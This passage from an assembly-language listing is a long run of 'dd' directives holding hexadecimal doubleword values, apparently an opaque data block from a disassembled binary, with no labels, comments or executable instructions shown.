		dd 0E811FC32h, 25DC2945h, 9C90A059h, 3EBF246h, 31CAE058h
		dd 9103C325h, 9B26B821h, 36E2D8B7h, 708B0050h, 0BD577505h
		dd 0D0D748B6h, 0BB5B4430h, 8A3E00A2h, 0D4C80630h, 0C90CFFF4h
		dd 0F1B71BC6h, 0F0912E2Dh, 0C4100995h, 1816EC10h, 0BDA094Ch
		dd 1137D00Bh, 203C69C0h, 0AA8447D3h, 0CC98EB76h, 0DA488114h
		dd 0AAD680F8h, 2AF44220h, 1F4226Bh, 1DDA43B4h, 620D9054h
		dd 0E3CE8F68h, 0E8BD067Bh, 4D5D8Dh, 22E03D54h, 82B4894Ah
		dd 0E820811Eh, 8463F80Dh, 82280842h, 962DD020h,	8FCE12ACh
		dd 40B3163Bh, 0D382082Ch, 4EE69B45h, 10667A4Fh,	5A830021h
		dd 75FA10E5h, 18910952h, 0FF31F798h, 0F40E484Ah, 439394D0h
		dd 5F0DCAE4h, 88909AFAh, 8172DD9h, 0B41F4F0Ch, 0DB290C62h
		dd 0A2C1CD25h, 2289D800h, 357127DCh, 2A5A00D3h,	67CBEB13h
		dd 0FC2C181Bh, 964208D9h, 8E9C0202h, 80E6844Ah,	14F854Ch
		dd 8ECCB302h, 98C72C5Fh, 13CB7DCFh, 5662BDA9h, 0AE3820B4h
		dd 40F690D7h, 10390A2Dh, 2584958h, 0ABF7DE50h, 68E94A6Eh
		dd 29C2331h, 3F76BF08h,	1CACE425h, 0DEE879h, 0BCE036Fh
		dd 5C141CA4h, 28A5A8Dh,	0A1BC0A1Eh, 612452DAh, 3C703918h
		dd 821920E4h, 7404054Ah, 0F40C475h, 0FAED40F7h,	8BCC2450h
		dd 0DC21389Eh, 0A4C7250Ah, 68E6B487h, 0A70EF9C0h, 417C00F2h
		dd 7F2DDD5Fh, 92103DBCh, 0D136354h, 34CC7003h, 0DC136CF0h
		dd 5498F61Dh, 0ABA90376h
		dd 1BE71386h, 25A80F9Bh, 0E929D5E8h, 5C16F49Ch,	4A97D420h
		dd 6F200037h, 0A38F0C8Dh, 0FC178BE8h, 20211A87h, 0C86065B3h
		dd 6CE016h, 4496348h, 0F12E42C0h, 1A0CE0B9h, 3DAE31DDh
		dd 745C2272h, 0C14D0271h, 19113779h, 89008452h,	4E3AFD2Dh
		dd 9F6106B7h, 20D316E0h, 9C510C61h, 0DE13C18Fh,	68A3C4h
		dd 3D1E97EAh, 0F8B4D24Eh, 0F319C04Fh, 0F5BB12BAh, 10A41F02h
		dd 0C2D850A5h, 4B88E13Bh, 9AFB7410h, 94067102h,	6C1380B2h
		dd 0E3D01210h, 73944E03h, 0E7188836h, 0A40CE926h, 9D87B861h
		dd 0E426BC52h, 866F1C1Ch, 84CC4085h, 75E4D48Ch,	0B0A3C32Ch
		dd 0D0B4326Bh, 1450A004h, 79D0A287h, 0FA6C2064h, 5579007Dh
		dd 34BD9069h, 6B8DD48h,	0D3F8315Ch, 0CC283C20h,	200C8AC0h
		dd 4E00E552h, 0DFC8C497h, 3336491Fh, 0E140E46Eh, 156F4FE8h
		dd 7C409F52h, 70749AFAh, 11D83C2Dh, 64721AC4h, 47BA943Ah
		dd 80BF6F1Fh, 0BE2E3EAAh, 0FF027412h, 838D5FC4h, 59B0C185h
		dd 0FB0E886Dh, 0E96022CDh, 0F1DFFCD0h, 2146B9CDh, 0D4806804h
		dd 0A897D2BEh, 1D4F5B0h, 75E307BCh, 0F801D659h,	25018166h
		dd 98069963h, 9069F55Eh, 40E05C2Ch, 0B1B91DD3h,	9800A6F8h
		dd 0C53E2FAAh, 7F5BF867h, 5F3F1227h, 0F14C857h,	0E9A1821Eh
		dd 0F1FD9285h, 448BCE2h, 80B0C78Ah, 4B5D8BB5h, 41D57A0h
		dd 154623AEh, 0A120C167h, 306C4518h, 622980A0h,	0FB93A000h
		dd 697D2DD3h, 0B989F317h, 0A819F0B4h, 0B275104Fh, 0A46000E4h
		dd 2A7E2388h, 4B254A5Eh, 7394A27Ch, 82282AADh, 13750E0Dh
		dd 6200F864h, 3E42742Dh, 30DE17BEh, 0A331BFD2h,	0D87778C9h
		dd 0B7477301h, 0D30B681Eh, 4FF4D849h, 87E60049h, 7A8F8B80h
		dd 90074547h, 0FFBB716Ah, 6C88C465h, 0F1F84540h, 84983C23h
		dd 38B4744Eh, 2C691305h, 0D2C807D9h, 0F63AC02Dh, 50D4315Ah
		dd 0BEA1C014h, 60EA9Ah,	4432365Bh, 9F7DF745h, 9BB7200h
		dd 9E738241h, 801750BDh, 3A9C88A3h, 5A845CB1h, 1CB03D57h
		dd 0B8DF447Ch, 0B428784Eh, 3DC200EBh, 0B2912AA6h, 6C003A24h
		dd 603B9561h, 0E574BFCh, 184AC178h, 60E8FB2Dh, 94969920h
		dd 58C06A9Eh, 3A20D47Bh, 7D7E0928h, 6C18A891h, 8F6F21Bh
		dd 286C532Eh, 33BDE960h, 32EAC4h, 3D464BB3h, 0F07D2227h
		dd 0CE557403h, 0F0C33B99h, 0E615B71Ah, 0B0C9C0B8h, 7E1C688Dh
		dd 91ABAD00h, 98CB4ACEh, 0FB1B0047h, 19AD40Bh, 909440CFh
		dd 0BEAF0880h, 651C0Dh,	997F2218h, 0A897F5CBh, 143FD029h
		dd 7EE09119h, 3DF3C0h, 9570DEFFh, 0FB5CD00Dh, 764E64B6h
		dd 0E6A3000h, 0B84563ECh, 5FF5028Ah, 23F0DE18h,	4CB00472h
		dd 160FD44h, 8BFF30Dh, 7C0C9916h, 7BB81754h, 4CC17437h
		dd 0B44112F6h, 1980A65Bh, 1F3D257Bh, 99F822D0h,	0E2499400h
		dd 28C99C20h, 32C9063h,	0F3090107h, 1005610Bh, 2B9AA643h
		dd 0A4D80094h, 3FF81C48h, 0D3998018h, 231631BEh, 6DF52803h
		dd 533C44D1h, 0D5004C29h, 36ED1B0Eh, 96248BE2h,	0C360D4A9h
		dd 1E4E4C0Bh, 0EEDEB7B6h, 0BD940F6Ch, 882C72C4h, 0CB75A908h
		dd 0F0E51301h, 26A15F8h, 0DE801D3h, 5DDAD462h, 0BC14D85Fh
		dd 0A8003FECh, 0E0D268FAh, 16B7641Dh, 2074DBC1h, 76989CF8h
		dd 642181C0h, 28CA3477h, 3EB0AA6Bh, 5124A104h, 0A27242C4h
		dd 43D37A20h, 0C81B5402h, 37CF0622h, 48176BD8h,	0C08CA44Ah
		dd 0AA3400FBh, 7EB14447h, 7D00B3DEh, 0E466EBD2h, 32BBEEDh
		dd 0F8EE9592h, 9957BC6h, 34935C48h, 0E91CC9A0h,	0B2375100h
		dd 97E772A2h, 0D0F40963h, 0E06A04CAh, 1321EC81h, 0AD7901FFh
		dd 0EBE21610h, 9DEC5B4Ch, 528B5940h, 0B5386Ah, 636B1C17h
		dd 0D55E8A1Dh, 140E2504h, 2CD48E45h, 0FA1EF0A6h, 0CA7C133Dh
		dd 56BD0E24h, 351026Ch,	0E3E448E1h, 0C09244DAh,	8B13A27Ch
		dd 1805EEE5h, 0DCC06361h, 5E185EA4h, 10F012C1h,	26275448h
		dd 7C99D820h, 7003860Fh, 60C2FD45h, 0E109C0CFh,	0BED230B4h
		dd 7CB2E2E9h, 9DBD5A13h, 55047003h, 0E48AF87Ah,	197F005Bh
		dd 0E26F7C8h, 724CDBBCh, 9805937Ch, 0D8A0E822h,	0C3252262h
		dd 517BDA17h, 95F707BFh, 5643D02Ch, 900015A9h, 7DC83BD8h
		dd 1307CAB0h, 0C80263A6h, 88001E2Ch, 5796F369h,	54366A40h
		dd 4481CC17h, 992A9CA6h, 7AF8AC1Ah, 28073091h, 9A010C41h
		dd 59FA19C5h, 416B9FFCh, 0A1CDDD94h, 5381CC3Fh,	5859CF03h
		dd 0D07BE78Ch, 31D0A7F2h, 60E15644h, 84C84402h,	1CCB3B8h
		dd 0C684D463h, 13E068EDh, 1CBCA4D3h, 0C0BDFA83h, 51937BB9h
		dd 0CB00533Dh, 8851C90h, 1E20CEFh, 0E9281F2h, 818E7CB8h
		dd 377D7A39h, 0C8E9C5ADh, 6321B181h, 80DC190Dh,	4BA68511h
		dd 1C1A6AC0h, 7BF00A73h, 8BCAE480h, 0DB096B49h,	181CE2F6h
		dd 0C24AB83h, 90E5231Dh, 5D2D4BCh, 0E33A2124h, 0CF9056D0h
		dd 50DC033Ch, 80A010D1h, 0A10B8FA8h, 4BE82A44h,	0DB110063h
		dd 0A8ADA787h, 0CBFC52ECh, 1E120D24h, 0BF1E2605h, 0F2F6D091h
		dd 69D65913h, 48954600h, 0C3FB624Fh, 391A0155h,	58870AA5h
		dd 0AF432DDh, 24B12108h, 44F35C08h, 351540A6h, 0EC33E6h
		dd 53609F29h, 0DD91E51h, 7B223C98h, 82050019h, 8134D533h
		dd 0D128B72h, 0C020ADBCh, 172BBA4Ah, 8D48493h, 6080FE28h
		dd 70210AD2h, 30144D9Bh, 93AC335Bh, 0DDA1F800h,	0DCD057Eh
		dd 4D4F24Bh, 51243F39h,	26B08875h, 70D149h, 6891585Dh
		dd 1E411445h, 0B392D5h,	87DD5388h, 375ED002h, 0C2098823h
		dd 2660C4E3h, 1DCF0B1h,	20DB561Ch, 7C225Bh, 0CDAE82F1h
		dd 9CBB6D85h, 61943CD4h, 168420B7h, 0F168C1DEh,	13AF104Ah
		dd 1EDB770Dh, 0C2A06D81h, 19231182h, 924D1840h,	18F258h
		dd 1E8A830Dh, 11B6733h,	0CAD37D76h, 0D4E29AC0h,	0A4014599h
		dd 3A080473h, 0D060611Ah, 44681E7Fh, 27648224h,	9D83387Ch
		dd 9C8C517h, 330921FEh,	0CE69F39Bh, 8C2D00D0h, 0F58C225h
		dd 48004A1Ch, 277E4B40h, 1212035Ch, 120E6D30h, 0F2849004h
		dd 1FF43A83h, 79C9AE00h, 0A1FD4390h, 312C09E2h,	804161Bh
		dd 0B86D2086h, 92605EDh, 80BDD782h, 2621A8Eh, 4A40289Ch
		dd 7928B5h, 95EEEF97h, 0D00FD844h, 25FA3122h, 0C0E927FFh
		dd 10C84BE1h, 9138005h,	0E804890Eh, 31004E14h, 57D5F718h
		dd 0A12DE7C0h, 5C246F96h, 0E210284Fh, 89F1F0C0h, 2D9460C8h
		dd 27A07801h, 4B4E750Eh, 24C6D048h, 9F1C2F8Dh, 0E050820Dh
		dd 0EE20FF18h, 79BB49h,	71A11CF4h, 7F310686h, 9F14D8A0h
		dd 44C8D24Bh, 0DA5701EFh, 0B1E6CF18h, 1D077ADh,	80C25974h
		dd 0FC3C8F9Bh, 0A3B80E4Eh, 44983A91h, 70FD0B0Dh, 0CC840D1h
		dd 489999FFh, 2325B424h, 5E045914h, 0E1483040h,	0C9007443h
		dd 0F16E7635h, 2177D33h, 6228757Fh, 0A4C5829Bh,	0A2EA1A81h
		dd 0BC7C2E14h, 3E4A6080h, 0A800A004h, 6F8731D5h, 10F54Eh
		dd 1C0A39F7h, 0E2759621h, 44202BF7h, 0F6FA4835h, 0B2D31967h
		dd 12C07061h, 1C7F6057h, 6E15E24Fh, 0AA8020E2h,	93997553h
		dd 0A894FD12h, 0DD3BA000h, 16762109h, 0BC6FF91h, 0F0C81AE8h
		dd 0BF007E55h, 607940BBh, 3EEA688Dh, 3A97C9Ah, 2A0B806Ch
		dd 4FBB4D6Ah, 87DC891Dh, 1508B869h, 6E2182DEh, 7CF21A0Bh
		dd 0EB4B9B00h, 7C751F14h, 6AE0029h, 571B8D44h, 2F007DE1h
		dd 0C4D82763h, 0C15E210Dh, 101B75E1h, 0C6B88ED9h, 0BC44425Bh
		dd 0C13074A2h, 2F042FF3h
		dd 0E415E0h, 458B3A44h,	84CEA2A9h, 2B294E00h, 0B493D7CDh
		dd 707CE11Ah, 4BD19Dh, 76FFE829h, 0E73EED0h, 2C5C083Eh
		dd 2B5F6018h, 0B880229Dh, 2D05186h, 0E3CB4E2h, 6200F0F1h
		dd 6812316Eh, 8BC14A0Ch, 0D620164h, 0E1020DFh, 0CFC04Ch
		dd 5A8EB857h, 0C3E9CD5Ch, 0C45C38F5h, 2201346Eh, 42CD2EF1h
		dd 6720B860h, 12D96CEh,	73F3267Ah, 0E05611D3h, 3F13BA71h
		dd 7844576Ah, 0D8F27FB8h, 3020B78Bh, 869853FCh,	8C0AFA3Fh
		dd 89C26AABh, 62CD000Dh, 0F14B676h, 0BB3A7DF7h,	0ACCA00A8h
		dd 6CC55436h, 63460019h, 0E2F356E4h, 293EB35Ah,	54D600C3h
		dd 8C52C88Fh, 57DC1F28h, 617543F3h, 0FDE8EF62h,	0A8002BA9h
		dd 8B1C3272h, 1E63FED6h, 0E6F710Ch, 14E0D866h, 0E443D1E2h
		dd 4AC5DA5Ch, 0B4E2A0h,	0B5E5179Ch, 56A9A3CCh, 0EB0A5F03h
		dd 0E07C54h, 0AD7BC789h, 4F4BAFA6h, 3279D700h, 34C69D12h
		dd 0E8AB0685h, 58E2F771h, 0A4C4540Bh, 8194873Eh, 21F0407Dh
		dd 3DD90E74h, 183FE31Ch, 0CF8619F0h, 0D849D700h, 0FFC4E0B8h
		dd 843D00A9h, 6D11A245h, 1AE043C0h, 0E38DD018h,	1D91FD60h
		dd 0C0B54E89h, 0E8743479h, 0A0A0D41Eh, 7A006B99h, 0ECC2A1C1h
		dd 3B52CE15h, 0C9687C5Dh, 0CCC000F0h, 15C10536h, 6E663F00h
		dd 3081017Fh, 0CDF50589h, 3D978CFh, 5582C2B0h, 0D552A900h
		dd 0BAB1FFBDh, 3A500031h, 0F9AB90F7h, 0E728E3C1h, 530050DAh
		dd 0BE2998C5h, 31C36EC2h, 8C88E14Ch, 0DA599D74h, 72BF2640h
		dd 0F88233Ch, 0CEBD2973h, 0D61D6C00h, 0CC31A85Dh, 5EF35109h
		dd 55C6CDF4h, 20E24C89h, 90695220h, 9B6DE900h, 2E93E84Dh
		dd 0C95D0692h, 29DAE66Bh, 7BAFCC80h, 78A2E0DFh,	0A25000A8h
		dd 0F42C7886h, 20F9DB62h, 7A88EE40h, 6F720F1Ah,	0F18D58E5h
		dd 79188E20h, 67D89C4Eh, 113EDA11h, 18371C46h, 7C19C481h
		dd 0B42D005Fh, 6C79F819h, 650164F7h, 0EA40A60Fh, 8EC1EFFh
		dd 8DE8124Fh, 0B62C0FCCh, 8807DA69h, 4F60BAC4h,	5386D807h
		dd 0A101EBD7h, 0E37225Ch, 98E8F57Fh, 74C70071h,	4D79AF35h
		dd 32037087h, 1AACDA75h, 0CBE8F354h, 1B511EF4h,	8D614C6h
		dd 1C41C0Eh, 7B171A22h,	7A8C8898h, 3AC298AAh, 0C282880h
		dd 1E00EAC0h, 803FBF2h,	925AD0DFh, 31C700ACh, 65E6B2A0h
		dd 3D07121Fh, 2975F014h, 774259B0h, 0A083502Ah,	8C6C3CC2h
		dd 8F454600h, 0CF7ABC69h, 70C0DD98h, 1C11ED38h,	1A62073Eh
		dd 0C424B8A9h, 7F04C868h, 506B7324h, 0FA603747h, 50B767E8h
		dd 0F84694C0h, 7AC8A83Bh, 0D2030432h, 9027AC78h, 5071CD2Ch
		dd 13E54500h, 9AE05A16h, 0F3FD00BBh, 60A26E15h,	2A00DE5Bh
		dd 347AC37Ch, 0A48B5C93h, 0F2F00FECh, 514026DCh, 0E8165BAh
		dd 15E6BD00h, 37663C34h, 12C0983Bh, 48AD4D9h, 456D1860h
		dd 0E040E77Ah, 0BD7BC5E8h, 9B7CC7h, 1E3366C3h, 541F86D0h
		dd 9F5ABF3Ah, 3841027Dh, 8BCEA76Eh, 30E868F0h, 53C92B4Dh
		dd 3600F3F9h, 644BD275h, 188FF654h, 71618C3Fh, 0E90CB4B2h
		dd 88786069h, 66798876h, 55A0038Ah, 761978D7h, 8781027Ch
		dd 0C38DE7A6h, 6E326CC0h, 31596130h, 48B088D7h,	7522A87Ah
		dd 0F6C0C250h, 876CC118h, 98CCD688h, 9085F008h,	0AB52985Ch
		dd 5940E490h, 3986D9AAh, 0DF987505h, 94208C05h,	0BACE6Bh
		dd 340BB33Ch, 0D743CA2Bh, 0EA62DF00h, 0D9A8E446h, 998E2448h
		dd 15602808h, 8C98D7E8h, 3497DC00h, 0FDF4BB89h,	0E7613700h
		dd 9B4F541Eh, 0F6623364h, 91C4D180h, 0E4A68B5Ch, 0D20F27A2h
		dd 46A5E5CCh, 3C01909h,	0C0AF125Ah, 0B900EE82h,	0D574A230h
		dd 1BF5B85h, 0C3AD6147h, 8145A583h, 0CC933750h,	31BF588Ch
		dd 10364F00h, 826FBA74h, 28BCBD3Ah, 7A18BC5Bh, 0CC29FC6Ch
		dd 80715473h, 0E14917Bh, 2F207613h, 0DA40B73Dh,	52FC0D00h
		dd 45AF6836h, 2986F358h, 50543755h, 753511E7h, 0F80723E8h
		dd 38180193h, 0CED99B4Ah, 7294502Ch, 9101E9F3h,	8D756D7Ch
		dd 14366874h, 14B01C2Ch, 0B50318CFh, 6FDF853Ch,	86B0B188h
		dd 2BA7DD02h, 6A326247h, 706680h, 967AAE11h, 63B5C222h
		dd 0B0D3EA00h, 0D2206742h, 0C33C0402h, 0C2032DC4h, 648FDBA0h
		dd 80CC44CAh, 3DCFA843h, 0F1FC2A29h, 0B524B400h, 1AE19F82h
		dd 0B26700FDh, 33D5D47Bh, 46180B03h, 8149EDDFh,	8289DF43h
		dd 68829CF2h, 98D8AC84h, 0AB40FB74h, 0C462527Ah, 4068CE26h
		dd 4021B5B3h, 0F80076F8h, 1F9CEA93h, 7EBE9B1h, 26E4F7C4h
		dd 5FF6020h, 0B37E0AFBh, 830BF30h, 3569017h, 72BC076Bh
		dd 3ED0DE9h, 0CB0C16A0h, 1D3AF7B8h, 0E4F1BA07h,	0F977A69Ah
		dd 74B8D110h, 0A40C002h, 9E51E071h, 81040900h, 7588BAD2h
		dd 78E7182Fh, 27998C50h, 33700B60h, 2BFE5Bh, 0C722D684h
		dd 0F53A16BFh, 0C99E9900h, 3EAFB7CFh, 0F8E87Eh,	75A9D7BDh
		dd 91B68C03h, 4CCE44h, 41FBB34Ah, 12635486h, 8C25C30Dh
		dd 0FEC02107h, 2471C31Eh, 1908AFB2h, 801D9919h,	29727B5Dh
		dd 8CEB74A1h, 87ECA21h,	0DC807B3h, 63A64C5Fh, 29B83C2Fh
		dd 8615F32Eh, 0D9C4AA3h, 30365493h, 3832F0E7h, 99C0035Dh
		dd 49AF3197h, 0BFD05790h, 0E1D10F1h, 4BF80082h,	19245AC8h
		dd 45F664D8h, 0B4BBE705h, 940698D9h, 3091B015h,	8DB02D12h
		dd 3A01059Eh, 93B535C9h, 0A98E7FD5h, 707425D1h,	34F33300h
		dd 2D0DC3EAh, 1A4F320Ch, 5A82819h, 9955AF3Ch, 50804F1Fh
		dd 0F6E50DC0h, 0A801ECDDh, 0D0E36B96h, 0B448AE25h, 0FA7CF1h
		dd 0C8B66D1Bh, 0F6FC122Bh, 0D2BDEA07h, 858F79A9h, 0B8087CC1h
		dd 0C75C4E20h, 0A0DF0A28h, 3EBCF448h, 5009BB1Ch, 2E3EBEDDh
		dd 0DE1D20C0h, 87C72832h, 0C5C00B8Eh, 604D89F8h, 3FBF18C1h
		dd 640686C3h, 0CAF761F0h, 87590E31h, 1FE0F383h,	55ABD380h
		dd 0DD318C18h, 60572A20h, 97F9816Dh, 0A3014E9Eh, 0F71DA8EFh
		dd 0B0C3F350h, 4C5D2Bh,	15696DC1h, 4BCFF621h, 0F9A879D9h
		dd 5964D617h, 58B16E00h, 56FA4F30h, 780B008Eh, 4527C6DEh
		dd 0E30D0D51h, 7804122Fh, 38CB9821h, 0B9EF5B39h, 845C6786h
		dd 0CBE969C0h, 0D3A032h, 0FFA6414Eh, 1C045B08h,	50625101h
		dd 4FA855BDh, 0A64E4983h, 9900FF17h, 34B85059h,	4ECE8h
		dd 5AFB1435h, 0F5104F0Ch, 2D2FDC00h, 742A1DEEh,	1C195036h
		dd 0BFD6000Bh, 0C7B58408h, 7C019D7Dh, 0E51765C9h, 0A9805156h
		dd 61DAA959h, 2728FF9h,	36674B1Dh, 0CB2F0CC3h, 598704h
		dd 455B2B2Bh, 7A20384Dh, 3040511Ch, 7248C040h, 0D46AA01Dh
		dd 626DF400h, 776983D9h, 80735449h, 6E980Dh, 0C6EC153Fh
		dd 0A5C958A6h, 0E0411100h, 4DCC3ADCh, 568B1885h, 0D3D79952h
		dd 738F7800h, 4811FC3Eh, 467000Ch, 218D8241h, 520C0810h
		dd 891217A5h, 31260044h, 1E1F5C69h, 3CF6E0F6h, 29544000h
		dd 0EF443387h, 5B2D00C6h, 2769AF8Eh, 0AA0E8488h, 26211B07h
		dd 5A0439h, 372A9149h, 11BDA97Ah, 60A49B90h, 695DC60Ah
		dd 689F0804h, 0F6F7D640h, 0C1DC5258h, 84B9C719h, 0D102B054h
		dd 6F3B6Dh, 4BAD27DCh, 3A567ACh, 49050AB8h, 0F61881E1h
		dd 9B0DDC40h, 175FE5h, 87C669E7h, 77B6B7CDh, 4D85E100h
		dd 55D9BCECh, 18634973h, 0B44FF515h, 7FBA61Fh, 511D889Bh
		dd 0C826F338h, 4948E308h, 0C6221208h, 0A820B840h, 965802h
		dd 1FBE7AC9h, 9C4FAA6Ah, 880C6430h, 1C92DE05h, 71D8FF55h
		dd 0BC4150D9h, 0EE3030D1h
		dd 0D63154h, 0CF486D98h, 80749D55h, 0F10FA300h,	0B0506E8Ah
		dd 17BE18EEh, 0BDC5E0D7h, 395B590Ch, 305510BBh,	2AC95681h
		dd 7A3BFEBFh, 94487A6Ah, 5E098788h, 495A21A0h, 80146353h
		dd 89000D17h, 0A23C7A2Ah, 55A9BE3h, 237C1532h, 0DAE400CCh
		dd 0B75E40ECh, 61CA3F00h, 513B1FC5h, 2260DC53h,	802C0540h
		dd 558027A3h, 4C5C5094h, 2F0E0A51h, 8084D9FCh, 0BD2E9C75h
		dd 5D0A0CCAh, 0B0A2C48Ch, 14C31608h, 0CF80FC56h, 47AD5EA5h
		dd 0BB4DEE1Fh, 39733BC7h, 8129886Ch, 0F35B1112h, 47002033h
		dd 0E2FDC4CFh, 45284959h, 175298C2h, 897E00D0h,	722ED358h
		dd 6BC11F14h, 0B48340D4h, 0A6F58DDDh, 415CAA00h, 0FEABFCDEh
		dd 4D513CA8h, 0B0D5F609h, 40C71820h, 5630FCE2h,	304A791Eh
		dd 46881EB1h, 6A5880BBh, 2F495D99h, 0F62081C0h,	0EA13334Ah
		dd 54B9C05Bh, 48ED7FBCh, 59E9B307h, 79E004C2h, 98CA8558h
		dd 63F41310h, 1DB02020h, 79F82D53h, 81001FF4h, 0CEE3CCA0h
		dd 0C4A9B19h, 1C553BA1h, 0EE1DB291h, 0A87D1606h, 94A480F9h
		dd 0FA58C600h, 1A707652h, 10994CDAh, 0C8682714h, 2B54A820h
		dd 4002B3A8h, 9D765B71h, 482C48ADh, 389C91F7h, 2A12328Bh
		dd 474E8800h, 0A914C4BDh, 10D082CAh, 2A00DF27h,	67DD1A5Fh
		dd 0EB1811C2h, 7458BDACh, 699D2250h, 5C09BC04h,	0D480D6E1h
		dd 3A4A4920h, 66AAFC48h, 0E59D0080h, 65842A9h, 0EF075E04h
		dd 262B6372h, 1E45D580h, 5D592990h, 7450119Ch, 11325500h
		dd 307E57BAh, 3FBE0651h, 0A82FD42Ah, 3DC5B20h, 11B9B805h
		dd 0E10747F5h, 0CBD0843Fh, 14A03C00h, 34451C5Fh, 0D39E0093h
		dd 187E5E47h, 3176FC37h, 0C3C63B00h, 0AB811EF5h, 3CC8BF19h
		dd 0BA61A380h, 59009260h, 0AEDCB5A1h, 1F931B7h,	0A36D9FF6h
		dd 20FF2F57h, 1515B38h,	5940F3C4h, 0DC921C94h, 48DBFF18h
		dd 0E9535619h, 75670B00h, 0A9C9B800h, 0A4D41585h, 0F02F078Fh
		dd 0D1898D1Fh, 22572C8Ch, 0FDBD0F10h, 0A49EE7C2h, 8D1A58C0h
		dd 57303122h, 0D0C5CD21h, 0BE00C13Ah, 6B66ACF1h, 0B8531B76h
		dd 1FA70260h, 0F42FE726h, 4054E061h, 8162732Ch,	0E4E3F32Ch
		dd 0C0E208h, 0AB6384A8h, 8F030352h, 0FD7915C4h,	54B8D01Eh
		dd 0BA4D1250h, 485042F3h, 5C40298Ch, 90B875F7h,	17872E9h
		dd 273E8033h, 0A0F7F64Fh, 0FCFD85h, 4BDBCB47h, 42983857h
		dd 0C030BF81h, 0CC04E9F7h, 5009190h, 402D698Eh,	0A4EBDEh
		dd 1537D84Fh, 4C600180h, 0F5233E00h, 932EEDA7h,	1D300F1Fh
		dd 233355B8h, 42A902ACh, 39B193BDh, 3DB9C002h, 289178ECh
		dd 0B138F55Bh, 0CFDB8048h, 0AF7F66E9h, 0E7425B00h, 0A10AF9F5h
		dd 0DA060777h, 50B82C6Bh, 46A45186h, 0BD077A0Ah, 22438C18h
		dd 780AD862h, 885A00C1h, 3FB84113h, 90009C16h, 51244827h
		dd 0C9540943h, 9C1221A8h, 0EA130740h, 8A1B5Ch, 1E95354Dh
		dd 0FCDC43FBh, 4C5400D5h, 5D8E8C19h, 5200550Bh,	95C53FBDh
		dd 5BE94ADh, 48153389h,	7A84041Ch, 0EE5B4059h, 0DD582078h
		dd 0E8F4011h, 1EBC0723h, 0E5966A03h, 292C826h, 0BFD3DCD8h
		dd 0FCC67A1Fh, 44B12C90h, 11DAFF09h, 74625618h,	3D6CC00h
		dd 0C4725AFCh, 0E0A430E3h, 500D28B1h, 0EEE029B9h, 27BF0C23h
		dd 0FF18BC6Fh, 1898888Ah, 849D4390h, 0A5D6F65Dh, 0F7C30C4h
		dd 1448443Eh, 480C3858h, 769D2DDCh, 21050F5Bh, 0C8D78124h
		dd 7404B36Ch, 0C4845526h, 74929685h, 17BF22DCh,	65F2F8E4h
		dd 56D20804h, 0CCCE0FDh, 53670021h, 0FF15EBF3h,	4F0E0AC8h
		dd 0E0AA2548h, 84313AF7h, 660601BCh, 4353C0EBh,	0C22871EFh
		dd 0E0EEB02Ch, 0E191025Eh, 64F76219h, 91C854C4h, 205692DDh
		dd 9C6ADBF0h, 5AF487EEh, 0F7384B07h, 4005DC2Bh,	8C0098D9h
		dd 0FCA0DCFh, 1FAB4243h, 0E4515E2Dh, 6D00D45Ch,	1C5DEEAEh
		dd 79B44EB3h, 0A9BD028Ch, 74441248h, 0CF32AC80h, 2A4C6162h
		dd 0DEAB17B8h, 27D71021h, 8E5EC980h, 2C48B1FEh,	9F28304Ch
		dd 8E50320Eh, 4EF6079h,	7CD90BA4h, 80809BD6h, 9BA86C31h
		dd 790362BCh, 6A01A9DEh, 6D2DD858h, 0A69F17F8h,	1CC13E1h
		dd 0C8A25EACh, 80E828E2h, 885F9BAh, 385B0022h, 0F4E9B7E3h
		dd 600606Ch, 2F2117CDh,	906932D6h, 62492EF0h, 54A842C4h
		dd 0BF11FC2Ah, 593D5C48h, 0CFF86885h, 1E5808DBh, 0C5AF5A80h
		dd 74D850F7h, 27261E13h, 7E414109h, 48437669h, 0FB25BC80h
		dd 8040098Dh, 0E4E6D15Ch, 0F76A1577h, 0B003F44Ch, 7D4D2ABDh
		dd 1427D6D0h, 0B607EA00h, 81AC1F6Bh, 57A28B0h, 15012E85h
		dd 0D04847D0h, 49E145F0h, 63C4BA05h, 0E4C88854h, 4E4F4480h
		dd 228CBE59h, 0AF470074h, 0FD16AC68h, 707B22B8h, 32E1A302h
		dd 0E4D4FF55h, 0BD54A010h, 5C858A09h, 56C009Eh,	0F819C48Dh
		dd 1891D528h, 2F7B821h,	0C17A529h, 88C73823h, 2F7CD57h
		dd 9CE03E63h, 70E12049h, 48503827h, 2A9DB020h, 9F9105ADh
		dd 804A7478h, 0EF7696B0h, 0C42E34B0h, 5B11EC30h, 0B17C606h
		dd 24B0810Dh, 0F0A96800h, 51E92112h, 58184C54h,	62C4809Dh
		dd 5E6CBBA1h, 3FF81700h, 85394F5Bh, 98F11F45h, 4C13255Dh
		dd 384811ABh, 16D6C92Ch, 929A000Ch, 723F66E3h, 0D49C5535h
		dd 0E5E74A80h, 0A58A93h, 78F8A6B0h, 1CB919EEh, 9A1AAE02h
		dd 60BBF450h, 0E8BE95B0h, 0C94C1342h, 0FD49017h, 2100A65Fh
		dd 7E159D9Ch, 881978h, 0C74C8B5h, 0DCAE20E3h, 9424CC91h
		dd 0B9740560h, 5AF3045Dh, 0D0651875h, 8333975Ch, 25346801h
		dd 15D10D3Ch, 9BFBC8h, 3B412A82h, 75921AABh, 286A58h, 6179FCBh
		dd 1FBB503Ch, 59E240h, 32292705h, 8C04491Dh, 5A204234h
		dd 0D4EEE40h, 0ED00A348h, 1B82BA68h, 0E84E4DFh,	2D81AFB0h
		dd 10ACCBEAh, 4749C0DEh, 95D71FBh, 155E6304h, 0C2625890h
		dd 1DF4FC00h, 4E1C50Ch,	94BA50C4h, 2034BAD8h, 0BF4AC265h
		dd 0F9749820h, 302E1C99h, 0EEFB4052h, 1B10B732h, 3FBA2D02h
		dd 62C7DC71h, 0B0C646Ch, 8B875C4Eh, 54402405h, 516010A4h
		dd 71974970h, 0BE34C402h, 6075EEEFh, 0A3B72F23h, 0E08AA8A0h
		dd 4940C4D0h, 7A204180h, 58322FFCh, 935B9C00h, 0F4E26D3h
		dd 382B1000h, 8A3B14CFh, 0FC0A1CD9h, 1FA6C27Ah,	0A0E2DDF6h
		dd 0B800B053h, 5EB1BB21h, 0CDD50084h, 0DD41A0CEh, 0B2622071h
		dd 90FA5BC9h, 138CC4ACh, 309C4F95h, 0E512C4Ch, 56742D06h
		dd 6FE9BD44h, 0DE02101h, 366F60A1h, 8C887602h, 0C0F5E9D6h
		dd 5C55BDFCh, 70801C3Bh, 0F7720584h, 381E3099h,	0B6EE1D81h
		dd 48E82AA2h, 0EF7A0BFEh, 0EC101887h, 6303CB46h, 1C75E9F6h
